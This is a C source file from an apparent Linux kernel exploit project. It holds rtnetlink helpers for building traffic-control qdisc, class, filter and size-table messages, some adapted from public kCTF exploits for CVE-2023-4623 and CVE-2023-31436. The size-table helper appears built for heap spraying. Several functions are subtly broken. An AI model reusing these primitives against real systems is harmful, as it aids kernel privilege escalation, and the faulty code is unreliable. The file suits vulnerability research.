-
Notifications
You must be signed in to change notification settings - Fork 0
/
net.c
415 lines (357 loc) · 14.9 KB
/
net.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
#include "net.h"
/*
lo interface up
*/
void loUp(void){
int sock;
struct ifreq ifr;
// Open a socket
sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock < 0) {
perror("Socket creation failed");
exit(EXIT_FAILURE);
}
// Specify the interface (loopback in this case)
strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
// Get current flags
if (ioctl(sock, SIOCGIFFLAGS, &ifr) < 0) {
perror("Getting interface flags failed");
close(sock);
exit(EXIT_FAILURE);
}
// Set the interface up
ifr.ifr_flags |= IFF_UP;
// Apply the new flags
if (ioctl(sock, SIOCSIFFLAGS, &ifr) < 0) {
perror("Setting interface up failed");
close(sock);
exit(EXIT_FAILURE);
}
// Close the socket
close(sock);
return 0;
}
/*
Functions from kCTF public exp cve-2023-4623:
*/
/*
* Send a Netlink message and check for error
*/
void NLMsgSend (int sock, struct tf_msg *m) {
struct {
struct nlmsghdr nh;
struct nlmsgerr ne;
} ack;
FAIL_IF(write(sock, m, m->nlh.nlmsg_len) == -1);
FAIL_IF(read(sock , &ack, sizeof(ack)) == -1);
FAIL_IF(ack.ne.error);
}
void NLMsgSend_noerr (int sock, struct tf_msg *m) {
FAIL_IF((sock, m, m->nlh.nlmsg_len) == -1);
}
int initNL(){
/* Netlink message for setting loopback up. */
struct if_msg if_up_msg = {
{
.nlmsg_len = 32,
.nlmsg_type = RTM_NEWLINK,
.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK,
},
{
.ifi_family = AF_UNSPEC,
.ifi_type = ARPHRD_NETROM,
.ifi_index = 1,
.ifi_flags = IFF_UP,
.ifi_change = 1,
},
};
// The code is doing `if lo up` and returns the nl_sock_fd
int nl_sock_fd = socket(PF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
FAIL_IF(nl_sock_fd < 0);
if_up_msg.ifi.ifi_index = if_nametoindex("lo");
NLMsgSend(nl_sock_fd, &if_up_msg);
return nl_sock_fd;
}
/*
* Send a message on the loopback device. Used to trigger qdisc enqueue and
* dequeue functions.
*/
void loopbackSend (void) {
struct sockaddr iaddr = { AF_INET };
int inet_sock_fd = socket(PF_INET, SOCK_DGRAM, 0);
FAIL_IF(inet_sock_fd < 0 );
FAIL_IF(connect(inet_sock_fd, &iaddr, sizeof(iaddr)) < 0 );
FAIL_IF(write(inet_sock_fd, "", 1) < 0);
close(inet_sock_fd);
}
/* Trafic control for netlink */
void init_tf_msg (struct tf_msg *m) {
// nlmsghdr
m->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(m->tcm));
m->nlh.nlmsg_type = 0; // Default Value
// We need these flags since https://elixir.bootlin.com/linux/v6.11.8/source/net/netlink/af_netlink.c#L2540
m->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
m->nlh.nlmsg_seq = 0; // Default Value
m->nlh.nlmsg_pid = 0; // Default Value
// tcmsg
m->tcm.tcm_family = PF_UNSPEC;
m->tcm.tcm_ifindex = if_nametoindex("lo");
m->tcm.tcm_handle = 0; // Default Value
m->tcm.tcm_parent = -1; // Default Value for no parent
m->tcm.tcm_info = 0; // Default Value
}
/* Helper functions for creating rtnetlink messages. */
unsigned short add_rtattr (struct rtattr *rta, unsigned short type, unsigned short len, char *data) {
rta->rta_type = type;
rta->rta_len = RTA_LENGTH(len);
memcpy(RTA_DATA(rta), data, len);
return rta->rta_len;
}
struct tf_msg * hfscQdiscAddImp(u32 handle,u32 parent,short defcls) {
// Kernel Handler: function hfsc_init_qdisc
struct tf_msg *m = calloc(1,sizeof(struct tf_msg));
// -> Calling tc_modify_qdisc
init_tf_msg(m);
m->nlh.nlmsg_type = RTM_NEWQDISC;
m->nlh.nlmsg_flags |= NLM_F_CREATE;
m->tcm.tcm_handle = handle;
m->tcm.tcm_parent = parent;
// Set TCA_KIND
m->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr((char *)m + NLMSG_ALIGN(m->nlh.nlmsg_len), TCA_KIND, strlen("hfsc") + 1, "hfsc"));
// Set TCA_OPTIONS for default class (https://elixir.bootlin.com/linux/v6.1.36/source/net/sched/sch_hfsc.c#L170)
m->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr((char *)m + NLMSG_ALIGN(m->nlh.nlmsg_len), TCA_OPTIONS, sizeof(defcls), &defcls));
return m;
}
struct tf_msg * hfscQdiscAdd(short defcls) {
return hfscQdiscAddImp(1<<16,-1,defcls);
}
struct tf_msg *qdiscDel(u32 handle) {
// Allocate and initialize the message
struct tf_msg *m = calloc(1, sizeof(struct tf_msg));
init_tf_msg(m);
// Set message type and flags for deleting a qdisc
m->nlh.nlmsg_type = RTM_DELQDISC;
// m->nlh.nlmsg_flags |; // No NLM_F_CREATE for deletion
m->tcm.tcm_handle = handle; // Handle identifier
m->tcm.tcm_parent = -1; // Root qdisc
// Set TCA_KIND
m->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr((char *)m + NLMSG_ALIGN(m->nlh.nlmsg_len), TCA_KIND, strlen("hfsc") + 1, "hfsc"));
// Set TCA_OPTIONS for default class (https://elixir.bootlin.com/linux/v6.1.36/source/net/sched/sch_hfsc.c#L170)
// Adjust the message length if needed, but no TCA_KIND for deletion
return m;
}
struct tf_msg * hfscClassAdd(enum hfsc_class_flags type, u32 classid, u32 parentid){
// Kernel Handler: function hfsc_change_class
/*
hfsc_changeclass:
- If the class exists, the function changes the attributes of the class
- else, create a new class
*/
/*
parentid = 0 means q.root
*/
FAIL_IF(type!=HFSC_RSC && type !=HFSC_FSC);
struct tf_msg *m = calloc(1,sizeof(struct tf_msg));
init_tf_msg(m);
m->nlh.nlmsg_type = RTM_NEWTCLASS;
m->tcm.tcm_parent = parentid;
m->tcm.tcm_handle = classid;
m->nlh.nlmsg_flags |= NLM_F_CREATE;
m->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr((char *)m + NLMSG_ALIGN(m->nlh.nlmsg_len), TCA_KIND, strlen("hfsc") + 1, "hfsc"));
struct rtattr *opts = (char *)m + NLMSG_ALIGN(m->nlh.nlmsg_len);
opts->rta_type = TCA_OPTIONS;
opts->rta_len = RTA_LENGTH(0);
// Default trafic control policy
// TODO: Get from parameters
int dist[3] = {1, 1, 1};
if(type == HFSC_RSC)
opts->rta_len += RTA_ALIGN(add_rtattr((char *)opts + opts->rta_len, TCA_HFSC_RSC, sizeof(dist), dist));
else if(type == HFSC_FSC)
opts->rta_len += RTA_ALIGN(add_rtattr((char *)opts + opts->rta_len, TCA_HFSC_FSC, sizeof(dist), dist));
m->nlh.nlmsg_len += NLMSG_ALIGN(opts->rta_len);
return m;
}
struct tf_msg * classDel(u32 classid){
// Kernel Handler: function hfsc_delete_class
struct tf_msg *m = calloc(1,sizeof(struct tf_msg));
init_tf_msg(m);
m->nlh.nlmsg_type = RTM_DELTCLASS;
m->tcm.tcm_handle = classid;
return m;
}
// struct tf_msg *classifierDestroy(const char *classifier_name, unsigned short prio, unsigned int parent, int ifindex) {
// struct tf_msg *m = calloc(1, sizeof(struct tf_msg));
// init_tf_msg(m);
// m->nlh.nlmsg_type |= RTM_DELTFILTER; // Delete filter/classifier request
// m->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
// // Initialize Traffic Control message
// m->tcm.tcm_parent = parent; // Parent class/qdisc
// m->tcm.tcm_info = (prio << 16) | htons(ETH_P_IP); // Priority and protocol
// // Add filter kind (optional for classifier)
// if (classifier_name) {
// m->nlh.nlmsg_len += NLMSG_ALIGN(
// add_rtattr((char *)m + NLMSG_ALIGN(m->nlh.nlmsg_len), TCA_KIND, strlen(classifier_name) + 1, classifier_name)
// );
// }
// return m;
// }
struct tf_msg * concatQdiscStab(struct tf_msg * m, char *data , u64 size, int overhead){
// 0x3c for header
// struct qdisc_size_table {
// struct callback_head rcu __attribute__((__aligned__(8))); /* 0 0x10 */
// struct list_head list; /* 0x10 0x10 */
// struct tc_sizespec szopts; /* 0x20 0x18 */
// int refcnt; /* 0x38 0x4 */
// u16 data[]; /* 0x3c 0 */
// /* size: 64, cachelines: 1, members: 5 */
// /* padding: 4 */
// /* forced alignments: 1 */
// } __attribute__((__aligned__(8)));
struct tc_sizespec ctx;
memset(&ctx,0,sizeof(struct tc_sizespec));
ctx.cell_log = 10;
ctx.tsize = size / sizeof(u16);
ctx.overhead = overhead;
// Expand the space
m = realloc(m, sizeof(struct tf_msg) + sizeof(struct tc_sizespec)+0x200+size);
struct rtattr *opts = (char *)m + NLMSG_ALIGN(m->nlh.nlmsg_len);
opts->rta_type = TCA_STAB;
opts->rta_len = NLA_HDRLEN;
opts->rta_len += RTA_ALIGN(add_rtattr((char *)opts + opts->rta_len, TCA_STAB_BASE, sizeof(struct tc_sizespec), &ctx));
opts->rta_len += RTA_ALIGN(add_rtattr((char *)opts + opts->rta_len, TCA_STAB_DATA, size, data));
m->nlh.nlmsg_len += NLMSG_ALIGN(opts->rta_len);
return m;
}
// Macro for default parameters
struct tf_msg *qfqQdiscChange(u32 handle, u32 parent) {
// Allocate and initialize the tf_msg structure
struct tf_msg *m = calloc(1, sizeof(struct tf_msg));
init_tf_msg(m);
// Set up the Netlink message
m->nlh.nlmsg_type = RTM_NEWQDISC;
m->nlh.nlmsg_flags |= NLM_F_REPLACE; // Change existing qdisc
m->tcm.tcm_handle = handle;
m->tcm.tcm_parent = parent;
// Set TCA_KIND to "qfq"
m->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr((char *)m + NLMSG_ALIGN(m->nlh.nlmsg_len), TCA_KIND, strlen("qfq") + 1, "qfq"));
return m;
}
struct tf_msg * qfqQdiscAdd(u32 handle, u32 parent) {
// Kernel Handler: function hfsc_init_qdisc
struct tf_msg *m = calloc(1,sizeof(struct tf_msg));
// -> Calling tc_modify_qdisc
init_tf_msg(m);
m->nlh.nlmsg_type = RTM_NEWQDISC;
m->nlh.nlmsg_flags |= NLM_F_CREATE;
m->tcm.tcm_handle = handle;
m->tcm.tcm_parent = parent;
// Set TCA_KIND
m->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr((char *)m + NLMSG_ALIGN(m->nlh.nlmsg_len), TCA_KIND, strlen("qfq") + 1, "qfq"));
return m;
}
struct tf_msg * qfqQdiscAddDef() {
// Kernel Handler: function hfsc_init_qdisc
struct tf_msg *m = calloc(1,sizeof(struct tf_msg));
// -> Calling tc_modify_qdisc
init_tf_msg(m);
m->nlh.nlmsg_type = RTM_NEWQDISC;
m->nlh.nlmsg_flags |= NLM_F_CREATE;
m->tcm.tcm_handle = 1<<16;
m->tcm.tcm_parent = -1;
// Set TCA_KIND
m->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr((char *)m + NLMSG_ALIGN(m->nlh.nlmsg_len), TCA_KIND, strlen("qfq") + 1, "qfq"));
return m;
}
struct tf_msg * qfqClassAdd(enum hfsc_class_flags type, u32 classid,u32 val){
FAIL_IF(type!=TCA_QFQ_LMAX && type!=TCA_QFQ_WEIGHT);
struct tf_msg *m = calloc(1,sizeof(struct tf_msg));
init_tf_msg(m);
m->nlh.nlmsg_type = RTM_NEWTCLASS;
m->tcm.tcm_parent = 0;
m->tcm.tcm_handle = classid;
m->nlh.nlmsg_flags |= NLM_F_CREATE;
m->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr((char *)m + NLMSG_ALIGN(m->nlh.nlmsg_len), TCA_KIND, strlen("qfq") + 1, "qfq"));
struct rtattr *opts = (char *)m + NLMSG_ALIGN(m->nlh.nlmsg_len);
opts->rta_type = TCA_OPTIONS;
opts->rta_len = RTA_LENGTH(0);
if(type == TCA_QFQ_LMAX)
opts->rta_len += RTA_ALIGN(add_rtattr((char *)opts + opts->rta_len, TCA_QFQ_LMAX, sizeof(val), &val));
else if(type == TCA_QFQ_WEIGHT)
opts->rta_len += RTA_ALIGN(add_rtattr((char *)opts + opts->rta_len, TCA_QFQ_WEIGHT, sizeof(val), &val));
m->nlh.nlmsg_len += NLMSG_ALIGN(opts->rta_len);
return m;
}
struct tf_msg *filterEdit(const char *classifier_name, unsigned short prio, unsigned int flowid) {
/*
Due to the TCA_.*_CLASSID issue, this function only works TCA_.*_CLASSID == 1
*/
struct tf_msg *m = calloc(1, sizeof(struct tf_msg));
init_tf_msg(m); // Initialize the tf_msg structure
m->nlh.nlmsg_type = RTM_NEWTFILTER;
m->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_REPLACE;
m->tcm.tcm_info = (prio << 16) | htons(ETH_P_IP); // Priority and protocol
m->tcm.tcm_handle = flowid;
m->tcm.tcm_parent = 0;
// Add filter kind (e.g., rsvp)
m->nlh.nlmsg_len += NLMSG_ALIGN(
add_rtattr((char *)m + NLMSG_ALIGN(m->nlh.nlmsg_len), TCA_KIND, strlen(classifier_name) + 1, classifier_name)
);
// Add TCA_OPTIONS for filter rules
struct rtattr *opts = (struct rtattr *)((char *)m + NLMSG_ALIGN(m->nlh.nlmsg_len));
opts->rta_type = TCA_OPTIONS;
opts->rta_len = RTA_LENGTH(0);
m->nlh.nlmsg_len += NLMSG_ALIGN(opts->rta_len);
return m;
}
struct tf_msg *filterAdd(const char *classifier_name, unsigned short prio, unsigned int flowid) {
/*
Due to the TCA_.*_CLASSID issue, this function only works TCA_.*_CLASSID == 1
*/
struct tf_msg *m = calloc(1, sizeof(struct tf_msg));
init_tf_msg(m); // Initialize the tf_msg structure
m->nlh.nlmsg_type = RTM_NEWTFILTER;
m->nlh.nlmsg_flags |= NLM_F_CREATE | NLM_F_EXCL;
m->tcm.tcm_info = (prio << 16) | htons(ETH_P_IP); // Priority and protocol
m->tcm.tcm_handle = flowid;
m->tcm.tcm_parent = 0;
// Add filter kind (e.g., rsvp)
m->nlh.nlmsg_len += NLMSG_ALIGN(
add_rtattr((char *)m + NLMSG_ALIGN(m->nlh.nlmsg_len), TCA_KIND, strlen(classifier_name) + 1, classifier_name)
);
// Add TCA_OPTIONS for filter rules
struct rtattr *opts = (struct rtattr *)((char *)m + NLMSG_ALIGN(m->nlh.nlmsg_len));
opts->rta_type = TCA_OPTIONS;
opts->rta_len = RTA_LENGTH(0);
// Add flowid to link this filter to a specific class
// unsigned int flowid = 0x10001; // Example flowid
u32 TCA_X_CLASSID = 1;
// Normally it's 1 but bfp's TCA_BPF_CLASSID==3
if(strcmp(classifier_name,"bfp"))
TCA_X_CLASSID = TCA_BASIC_CLASSID;
else
TCA_X_CLASSID = 3;
opts->rta_len += RTA_ALIGN(
add_rtattr((char *)opts + RTA_ALIGN(opts->rta_len), TCA_X_CLASSID, sizeof(flowid), &flowid)
);
m->nlh.nlmsg_len += NLMSG_ALIGN(opts->rta_len);
return m;
}
struct tf_msg * netemQdiscAdd(const char *name,u32 handle, u32 parent, u32 usec) {
// Learned from KCTF cve-2023-31436 write up
// Kernel Handler: function hfsc_init_qdisc
struct tf_msg *m = calloc(1,sizeof(struct tf_msg));
// -> Calling tc_modify_qdisc
init_tf_msg(m);
m->nlh.nlmsg_type = RTM_NEWQDISC;
m->nlh.nlmsg_flags |= NLM_F_CREATE;
m->tcm.tcm_handle = handle >> 16 << 16;
m->tcm.tcm_parent = parent;
// Set TCA_KIND
m->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr((char *)m + NLMSG_ALIGN(m->nlh.nlmsg_len), TCA_KIND, strlen(name) + 1, name));
// Add delay attribute to TCA_OPTIONS
struct tc_netem_qopt qopt_attr={};
qopt_attr.latency = 1000u * 1000 * 5000 * usec; // Delay in us
qopt_attr.limit = 1;
m->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr((char *)m + NLMSG_ALIGN(m->nlh.nlmsg_len), TCA_OPTIONS, sizeof(qopt_attr), &qopt_attr));
return m;
}